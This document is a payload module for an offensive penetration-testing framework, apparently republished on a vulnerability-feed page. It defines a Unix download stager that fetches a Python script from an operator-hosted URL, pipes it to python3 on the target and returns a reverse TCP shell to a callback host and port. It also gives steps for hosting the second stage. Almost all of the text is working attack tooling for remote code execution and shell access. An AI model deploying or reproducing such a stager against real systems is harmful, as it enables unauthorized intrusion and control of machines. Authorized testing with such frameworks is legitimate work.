Unix Download Stager, curl | python (reverse TCP)
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.c2.download_stagers import build_curl_pipe_python, build_stager_url
class Module(Payload):
__info__ = {
"name": "Unix Download Stager, curl | python (reverse TCP)",
"description": (
"Downloads a hosted Python stager from stager_url and pipes it to python3. "
"Host the script first: save output of "
"'generate' on payloads/singles/cmd/multi/python_thin_stager to stager.py, "
"then run 'python -m http.server' on stager_port. "
"Delivers a reverse_tcp session after second stage runs."
),
"category": PayloadCategory.CMD,
"platform": Platform.UNIX,
"listener": "listeners/multi/reverse_tcp",
"handler": Handler.REVERSE,
"session_type": SessionType.SHELL,
}
lhost = OptString("127.0.0.1", "Callback host (embedded in hosted stager)", True)
lport = OptPort(4444, "Callback port for reverse_tcp listener", True)
stager_url = OptString(
"",
"Full URL of hosted Python stager (empty = http://lhost:stager_port/stager.py)",
False,
)
stager_port = OptInteger(
8000,
"Operator HTTP port serving stager.py when stager_url is empty",
False,
advanced=True,
)
python_binary = OptString("python3", "Python interpreter on target", False)
def generate(self):
url = str(self.stager_url or "").strip()
if not url:
url = build_stager_url(str(self.lhost), int(self.stager_port or 8000), "/stager.py")
print_info(f"stager_url not set — using {url} (host stager.py on stager_port)")
return build_curl_pipe_python(url, str(self.python_binary or "python3"))
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08 Aug 2026 21:48Current
5.9Medium risk
Vulners AI Score5.9